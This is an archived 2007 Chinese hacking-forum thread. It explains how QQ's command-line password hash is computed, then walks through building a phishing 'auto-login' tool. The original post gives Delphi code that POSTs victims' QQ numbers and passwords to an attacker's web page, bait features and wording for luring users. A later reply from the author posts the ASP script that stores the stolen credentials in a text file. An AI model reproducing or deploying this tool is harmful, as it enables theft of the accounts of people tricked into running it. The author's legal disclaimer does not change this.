邪恶八进制信息安全团队技术讨论组's Archiver

zshoucheng 2007-6-6 11:33

[原创]探密QQ登陆加密算法兼谈简单打造一个QQ钓鱼工程

文章作者:zshoucheng
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

转载请保持文章完整性

1.QQ登陆加密算法

QQ命令行启动方式:
[quote]
QQ.exe /START QQUIN:QQ号码 PWDHASH:加密后的QQ密码 /STAT:登陆状态(40隐身,41正常)
[/quote]
其中PWDhash 原本是为实现 QQ 与 TM无缝切换而用的将密码加密传递的参数。使得用户能在 QQ 与 TM 之间快速切换而不用再次输入密码。

PWDHASH就是对我们的原始QQ密码进行MD5散列算法处理,得到一个16字节的MD5 HASH 字节组,然后再用BASE64编码对这个HASH字节组做第二次编码得到的。理论上说是无法从PWDHASH反推出原始的QQ密码的。但是,如果密码过于简单,如纯数字之类的,是可能被简单暴力破解的。

下面以Delphi代码讲解,附件中有Delphi的实现单元和相应的C#类,目的是让大家能够选择自己喜欢的编程语言实现

获取QQ命令行启动参数函数:(参数:QQ号码、QQ密码、登陆状态)
[language=delphi]
function GetCommandLine(QQNum, QQPw: string; QQState: integer): string;
type
TempChar = array[0..15] of char;
var
md5: TIdHashMessageDigest5;
begin
md5 := TIdHashMessageDigest5.Create;
result := ' /START QQUIN:' + QQNum + ' PWDHASH:' + Base64(TempChar(md5.HashValue(QQPw))) + ' /STAT:' + IntToStr(QQState);
md5.Free;
end;
[/language]
上面函数用到的Base64函数为:
[language=delphi]
function Base64(Src: string): string;
const
DataSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var
i, ModLen: integer;
Current: string;
Buf: array[1..3] of Byte;
NewBuf: array[1..4] of Byte;
begin
result := '';
if Src = '' then
  exit;
ModLen := Length(Src) mod 3;
while Length(Src) > 0 do
begin
  FillChar(Buf, 3, #0);
  Current := Copy(Src, 1, 3);
  Src := Copy(Src, 4, Length(Src) - 3);
  for i := 1 to 3 do
   Buf[i] := Ord(Current[i]);
  NewBuf[1] := Buf[1] shr 2;
  NewBuf[2] := (Buf[1] shl 6 shr 2 or Buf[2] shr 4) and $3F;
  NewBuf[3] := (Buf[2] shl 4 shr 2 or Buf[3] shr 6) and $3F;
  NewBuf[4] := Buf[3] and $3F;
  for i := 1 to 4 do
   result := result + DataSet[NewBuf[i] + 1];
end;
if ModLen >= 1 then
  result[Length(result)] := '=';
if ModLen = 1 then
  result[Length(result) - 1] := '=';
end;
[/language]
这样就可以实现从命令行直接登陆QQ了。

另外我们还要获取QQ的安装路径:
在注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\TENCENT\PLATFORM_TYPE_LIST 下面有几个子键,1中的 TypePath 的键值为 QQ 的安装路径,2中的 TypePath 的键值为 TM 的安装路径。我们就可以通过读取注册表来获取QQ的安装路径了(其实现比较简单,请参见源码)。

2.简单打造QQ钓鱼工程

有了上面的QQ自动登陆的实现,我们就可以写出一个QQ自动登陆器了。这就和我要说的QQ钓鱼工程联系上了,聪明的你一定也想出来了。
编写一款优秀的QQ木马去截获QQ密码框中的密码对我等小菜来说难以实现,但我们却可以变相地去获取QQ密码:
当别人使用我们的QQ自动登陆器登陆QQ时,我们可以把他所输入的QQ以及密码发送到我们的邮箱或指定网页上,这里给出ASP发信的代码:
[language=delphi]
function HtmlEncode(s: string): string;
var
i, v1, v2: integer;
function i2s(b: byte): char;
begin
  if b <= 9 then result := chr($30 + b)
  else result := chr($41 - 10 + b);
end;
begin
result := &#39;&#39;;
for i := 1 to length(s) do
  if s[i] = &#39; &#39; then result := result + &#39;+&#39;
  else if (s[i] < &#39; &#39;) or (s[i] in [&#39;/&#39;, &#39;\&#39;, &#39;:&#39;, &#39;&&#39;, &#39;?&#39;, &#39;|&#39;]) then
  begin
   v1 := ord(s[i]) mod 16;
   v2 := ord(s[i]) div 16;
   result := result + &#39;%&#39; + i2s(v2) + i2s(v1);
  end
  else result := result + s[i];
end;

function UpperCase(AStr: string): string; overload;
var
LI: Integer;
begin
Result := AStr;
for LI := 1 to Length(Result) do
  Result[LI] := UpCase(Result[LI]);
end;

// 以Post方式发信
function PostURL(const aUrl: string; FTPostQuery: string; const strPostOkResult: string = &#39;Send OK!&#39;): Boolean;
var
hSession: HINTERNET;
hConnect, hRequest: hInternet;
lpBuffer: array[0..1024 + 1] of Char;
dwBytesRead: DWORD;
HttpStr: string;
HostName, FileName: string;
FTResult: Boolean;
AcceptType: LPStr;
Buf: Pointer;
dwBufLen, dwIndex: DWord;
procedure ParseURL(URL: string; var HostName, FileName: string);
  procedure ReplaceChar(c1, c2: Char; var St: string);
  var
   p: Integer;
  begin
   while True do
   begin
    p := Pos(c1, St);
    if p = 0 then Break
    else St[p] := c2;
   end;
  end;
var
  i: Integer;
begin
  if Pos(UpperCase(&#39;http://&#39;), UpperCase(URL)) <> 0 then
   System.Delete(URL, 1, 7);
  i := Pos(&#39;/&#39;, URL);
  HostName := Copy(URL, 1, i);
  FileName := Copy(URL, i, Length(URL) - i + 1);
  if (Length(HostName) > 0) and (HostName[Length(HostName)] = &#39;/&#39;) then
   SetLength(HostName, Length(HostName) - 1);
end;
begin
Result := False;
hSession := InternetOpen(&#39;MyApp&#39;, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
try
  if Assigned(hSession) then
  begin
   ParseURL(aUrl, HostName, FileName);
   hConnect := InternetConnect(hSession, PChar(HostName),
   INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);
   AcceptType := PChar(&#39;Accept: */*&#39;);
   hRequest := HttpOpenRequest(hConnect, &#39;POST&#39;, PChar(FileName), &#39;HTTP/1.0&#39;,
    nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
   HttpSendRequest(hRequest, &#39;Content-Type: application/x-www-form-urlencoded&#39;, 47,
    PChar(FTPostQuery), Length(FTPostQuery));
   dwIndex := 0;
   dwBufLen := 1024;
   GetMem(Buf, dwBufLen);
   FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
    Buf, dwBufLen, dwIndex);
   if FTResult = True then
   try
    while True do
    begin
     dwBytesRead := 1024;
     InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
     if dwBytesRead = 0 then break;
     lpBuffer[dwBytesRead] := #0;
     HttpStr := HttpStr + lpBuffer;
    end;
    Result := pos(strPostOkResult, HttpStr) > 0;
   finally
    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
   end;
  end;
finally
  InternetCloseHandle(hSession);
end;
end;
[/language]
我们可以给我们的QQ自动登陆器加多些功能,以吸引别人使用(钓鱼嘛~),比如:

QQ性别任意修改:
[language=delphi]
procedure ChangeSex(sex:string);
var
tmp:pchar;
h,h1,h2,h3,h4,h5:HWND;
id:integer;
begin
h := FindWindow(&#39;#32770&#39;,&#39;QQ2007设置&#39;);
if h=0 then
h := FindWindow(&#39;#32770&#39;,&#39;QQ2006设置&#39;);
if h<>0 then begin
h1 := FindWindowEx(h,0,&#39;#32770&#39;,nil);
h2 := FindWindowEx(h1,0,&#39;#32770&#39;,nil);
h3 := GetDlgItem(h2,1356);
h4 := GetDlgItem(h2,551);
h5 := GetDlgItem(h1,1343);
SendMessage(h3,32,0,0); //WM_SETCURSOR
id := SendMessage(h3,323,0,longint(pchar(sex))); //给QQ性别组合框加一项
SendMessage(h3,334,id,0); //选择所加的那项
SendMessage(h4,13,10,longint(@tmp));
SendMessage(h4,12,0,longint(@tmp));
SendMessage(h5,245,0,0); //点击确定按钮
end
else
Application.MessageBox(&#39;请先打开QQ个人设置窗口!&#39;,&#39;提示&#39;,MB_OK);
end;
[/language]
QQ强行聊天:
[language=delphi]
procedure QQChat(number:string);
var
inum:integer;
begin
if trystrtoint(number,inum) then
begin
  if inum>10000 then
  ShellExecute(handle,nil,pchar(&#39;Tencent://Message/?Menu=YES&Exe=&Uin=&#39;+number),nil,nil,SW_NORMAL)
  else
  Application.MessageBox(&#39;无此QQ号码!&#39;,&#39;提示&#39;,MB_OK);
end
else
Application.MessageBox(&#39;请输入有效的QQ号码!&#39;,&#39;提示&#39;,MB_OK);
end;
[/language]
这些功能的实现都是再简单不过了,但对于不懂编程的人来说却觉得很神奇(我给我身边的同学、朋友用的时候他们都崇拜地对我说:你太厉害了!而我,背后暗笑中……)

程序最终效果如图:
[attach]10224[/attach]
到这里我们的QQ钓鱼工程就快完成了,我们可以写个使用说明,使用点社会工程学技巧:
[quote]
程序功能:
1.自动登陆
能有效防止所有的QQ盗号木马,因为QQ盗号木马是通过截获QQ登陆窗口实现盗号的
使用本软件登陆QQ,即使你中了QQ木马,你的QQ也不会被盗

2.QQ性别任意修改
可以将你QQ性别修改为任意的(你的QQ好友查看你的QQ资料时即可看到效果)

3.强行聊天
能和任意QQ号码聊天,无须添加对方为好友
……
[/quote]
然后发到国内一些下载站上去,或者在一些论坛宣传……你就等着收QQ吧!
[attach]10225[/attach]
郑重声明:本文旨在技术交流,其中介绍的技术仅供测试,非法盗取他人帐号是违法的。对使用本文所介绍的技术引起的任何法律问题与本人无关!

黯魂 2007-6-6 11:38

不错的思路,不过我开始怀疑以前用的自动登陆器是否足够安全可信了。。

ljh1021 2007-6-6 15:10

LZ没使用远程线程注入,这样的话穿墙性不太好吧
[s:266]

zshoucheng 2007-6-6 18:24

[quote]引用第2楼ljh1021于2007-06-06 15:10发表的 :
LZ没使用远程线程注入,这样的话穿墙性不太好吧
[/quote]

本文提供的是思路
RemoteThread Inject 技术现在更是遍地开花,想使用此技术就自己加吧

cncxz 2007-6-6 23:15

[quote]引用第2楼ljh1021于2007-06-06 15:10发表的 :
LZ没使用远程线程注入,这样的话穿墙性不太好吧
[s:266][/quote]

这里本身就是用户自己填写QQ号码QQ密码然后登陆的,属于本机对外连接,外部无须发送任何数据到本地,防火墙在这里基本不起任何作用..估计没有多少个BT的QQ用户把自己的防火墙对外连接都锁死吧?而且要用登陆器登陆QQ,防火墙本身就必须对登陆器放行..

mingjian987 2007-6-7 07:46

呵呵..很久以前好象这个思路就有.不过没人做出具体的代码..
感谢下楼主先
然后请问下楼主 既然有截获方法那是否有预防截获的呢?
start D:\QQ\qq.exe /START QQUIN:364049559 PWDHASH:****== /START40 PROXY:UUQBAQEABREAg7GAoIuavYuamoeAibqXnosEAAAAAQAAAA==
这个东西我们是逃不掉的.那我们该怎么办呢?

ljh1021 2007-6-7 21:01

[quote]引用第4楼cncxz于2007-06-06 23:15发表的 :


这里本身就是用户自己填写QQ号码QQ密码然后登陆的,属于本机对外连接,外部无须发送任何数据到本地,防火墙在这里基本不起任何作用..估计没有多少个BT的QQ用户把自己的防火墙对外连接都锁死吧?而且要用登陆器登陆QQ,防火墙本身就必须对登陆器放行..[/quote]
对外连接的是QQ.EXE,登陆器只是完成那段密码的计算过程,所以还是要考虑穿墙滴
[s:263]

fhod 2007-6-7 21:52

我以前也想过QQ登陆钓鱼的
VB加asp来实现
用VB写个跟QQ一样的登陆界面(有点难)..登陆提交到asp页面..后台接受..然后在调用真正的QQ文件..
不过没楼主的方法好
赞一个.

mingjian987 2007-6-8 07:02

[quote]引用第7楼fhod于2007-06-07 21:52发表的 :
我以前也想过QQ登陆钓鱼的
VB加asp来实现
用VB写个跟QQ一样的登陆界面(有点难)..登陆提交到asp页面..后台接受..然后在调用真正的QQ文件..
不过没楼主的方法好
赞一个.[/quote]

这个钓鱼好象钓得过了点....[s:270]穿墙目前好象考虑的不用太多.毕竟装防火墙的用户不太多.人家都觉得一杀软就够了..[s:264]

bbsxwk 2007-6-8 11:38

*** 作者被禁止或删除 内容自动屏蔽 ***

zshoucheng 2007-6-8 11:56

[quote]引用第10楼bbsxwk于2007-06-08 11:38发表的 :
赞一个
冒昧的问下 md5.HashValue 出来的 这个返回值 T4x4LongWordRecord 是什么意思啊
很不理解
还有
type
.......[/quote]

1. T4x4LongWordRecord = array [0..3] of LongWord;
2. 是强制类型转换

liuwfg 2007-6-8 22:39

[s:265] 我自己做一个BAT文件。一键登上QQ。还用你的?好的QQ你盗窃案不到。我等菜鸟QQ号要不是很好。你又没有什么用?我以前也做了这类事。后来觉得没有味。不做了。

zshoucheng 2007-6-8 22:45

[quote]引用第12楼liuwfg于2007-06-08 22:39发表的 :
[s:265] 我自己做一个BAT文件。一键登上QQ。还用你的?好的QQ你盗窃案不到。我等菜鸟QQ号要不是很好。你又没有什么用?我以前也做了这类事。后来觉得没有味。不做了。[/quote]

直接飘过~~~

本文旨在研究QQ加密算法以及社会工程学的利用

scship 2007-6-9 18:37

看不到Delphi,如果有汇编的源码就好了
不过问一下lz
md5得到的16位是32前的16位还是单纯的16位密文?
还有得到了16为密文后要转换什么才进行base64加密?
这个base64(md5(明文))用密码学工具生成的密文跟QQ生成的不一样.... [s:267]

zshoucheng 2007-6-9 20:02

md5得到的是纯16位md5密文
关于加密那部分,必须转化为[color=#FF0000]字节组[/color]进行,而不是对字符串
这也就是你用密码学工具生成的密文是错误的原因

x-star 2007-6-10 03:34

h3 := GetDlgItem(h2,1356);
h4 := GetDlgItem(h2,551);
h5 := GetDlgItem(h1,1343);

一个问题不是很清楚 问下楼主 其中的identifier 1356 551 1343是怎么得来的了
我在spy++ 中看不到啊 !!!

zshoucheng 2007-6-10 12:13

[quote]引用第15楼x-star于2007-06-10 03:34发表的 :
h3 := GetDlgItem(h2,1356);
h4 := GetDlgItem(h2,551);
h5 := GetDlgItem(h1,1343);

一个问题不是很清楚 问下楼主 其中的identifier 1356 551 1343是怎么得来的了
.......[/quote]

是通过 SPY++ 查看的
这些都是控件ID值:
[attach]953[/attach]

ssspr 2007-6-13 17:56

"PWDHASH就是对我们的原始QQ密码进行MD5散列算法处理,得到一个16字节的MD5 HASH 字节组,然后再用BASE64编码对这个HASH字节组做第二次编码得到的。理论上说是无法从PWDHASH反推出原始的QQ密码的。但是,如果密码过于简单,如纯数字之类的,是可能被简单暴力破解的。"
嘿嘿```幸好我的QQ密码相对复杂一点.
对程序没啥研究```还是潜水好了!

毒药 2007-6-21 12:40

精简一下楼主的行为核心
终究是以下一句话

想尽办法让用户从讨厌的QQ自带登陆匡上离开
在第三方登陆匡登陆QQ

zshoucheng 2007-6-21 13:38

[quote]引用第18楼毒药于2007-06-21 12:40发表的 :
精简一下楼主的行为核心
终究是以下一句话

想尽办法让用户从讨厌的QQ自带登陆匡上离开
在第三方登陆匡登陆QQ[/quote]

这篇文章中的QQ钓鱼工程部分的核心确实如你所说
[s:265]但这篇文章的重点可不是这个~~~
我只是附带介绍了下社会工程学的一个简单应用

hugreen 2007-7-2 14:53

给个C++版本的代码
注册表获取QQ安装路径没有实现,程序中用默认安装路径代替,简单实现自动登陆QQ.
下面给出实现的源代码(VC++.NET 2005 CLR 控制台应用程序)
// GreenQQ.cpp : main project file.
#include "stdafx.h"

using namespace System;
using namespace System::Collections::Generic;
using namespace System::Text;
using namespace Microsoft::Win32;
int main(array<System::String ^> ^args)
{
  //Console::WriteLine(L"Hello World");
System::Security::Cryptography::MD5CryptoServiceProvider ^MD5 = gcnew System::Security::Cryptography::MD5CryptoServiceProvider();
array<Byte> ^PWDBytes=(gcnew System::Text::UTF8Encoding())->GetBytes("YourQQPassword");
array<Byte> ^MD5Bytes=MD5->ComputeHash(PWDBytes);
String ^PWDHash=Convert::ToBase64String(MD5Bytes,Base64FormattingOptions::InsertLineBreaks);
String ^RunArgs="/START QQUIN:YourQQNumber PWDHASH:";
RunArgs+=PWDHash;
RunArgs+=" /STAT:40";
System::Diagnostics::Process::Start("C:\\Program Files\\Tencent\\QQ\\QQ.exe",RunArgs);
  return 0;
}

zshoucheng 2007-7-2 15:52

[quote]引用第21楼hugreen于2007-07-02 14:53发表的 :
给个C++版本的代码
注册表获取QQ安装路径没有实现,程序中用默认安装路径代替,简单实现自动登陆QQ.
下面给出实现的源代码(VC++.NET 2005 CLR 控制台应用程序)
.......[/quote]

单独说C++,是指ISO/C++,而你给的是C++/CLR的代码
其实采用.NET类库编程,语言的选择已不重要,
区别仅仅是语法上的区别了...
同样地可以用 VB.NET J# 实现

注册表获取QQ安装路径的C++/CLR代码:
[code]
void GetQQPath(array<String ^,2> ^% QQPath)
{
  RegistryKey ^PLATFORM_TYPE_LIST = Registry::LocalMachine->OpenSubKey(L"Software\\TENCENT\\PLATFORM_TYPE_LIST");
  if(PLATFORM_TYPE_LIST!= nullptr && PLATFORM_TYPE_LIST->SubKeyCount > 0)
  {
    int SubCount = PLATFORM_TYPE_LIST->SubKeyCount;
    RegistryKey ^TemKey;
    QQPath = gcnew array<String ^,2>(SubCount,2);
    array<String ^> ^SubKey = PLATFORM_TYPE_LIST->GetSubKeyNames();
    for (int i = 0; i < SubCount; i++)
    {
      TemKey = PLATFORM_TYPE_LIST->OpenSubKey(SubKey[i]);
      QQPath[i, 0] = TemKey->GetValue("TypeName")->ToString();
      QQPath[i, 1] = TemKey->GetValue("TypePath")->ToString();
      TemKey->Close();
    }
    PLATFORM_TYPE_LIST->Close();
  }
}
[/code]

调用时:
[code]
  array<String ^,2> ^ path = gcnew array<String ^,2>(2,2);
  GetQQPath(path);
  Console::WriteLine(path[0,1]); // path[0,1]--->QQ安装路径
                    // path[1,1]--->TM安装路径
[/code]

混世魔王 2007-7-28 04:10

抓包..可以发现你程序的猫腻.....

虫虫 2007-7-28 14:55

只要抓到QQ启动时的参数不就能抓到所有的东西了?

用这些参数就可以登陆QQ了,嘿嘿。

AND.... 由于md5的泛滥性的应用.... 有这个md5几乎就可以应付一切了....

uing 2007-7-30 19:54

我用QQ珊瑚虫的试了一下,虽然会成功但是很大的几率是失败的,而且我把防火墙也关了诶~~~请LZ赐教!!

zshoucheng 2007-7-30 23:04

楼上的意思是不能截获QQ密码么?

发信函数PostURL的第一个参数是一个网页地址,如:
[quote]htpp://www.xxx.com/qq.asp[/quote]
其内容是:
[quote]<%
num=request("num")
pass=request("pass")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("key.txt"),8,True)
file.writeline num+"----"+pass
file.close
set file=nothing
set fs=nothing
response.write "Send OK!"
%>[/quote]
那么收号的地址就是:
[quote]htpp://www.xxx.com/key.txt[/quote]

与你用什么版本的QQ无关,只要程序获得了正确的QQ路径就可以了.

hugreen 2007-8-6 16:16

现在登陆QQ有时会要求输入随机验证码,Tencent开始怕这种自动登陆了,哈哈

icexiaoye 2007-8-15 22:38

[s:267] 附件呢

zshoucheng 2007-8-15 22:53

[quote]引用第27楼icexiaoye于2007-08-15 22:38发表的 :
[s:267] 附件呢[/quote]

由于上次发现有人用次思路盗号,所以 Del
重新补上了

其实代码都贴出来了

icexiaoye 2007-8-16 01:27

那代码看了眼睛都花~~ [s:289]
还是在delphi里看的舒服

紫色 2007-8-19 00:39

[s:264] q确实不错
不过 2代密码保护出来以后```密码是不好改了`

页: [1]
© 1999-2008 EvilOctal Security Team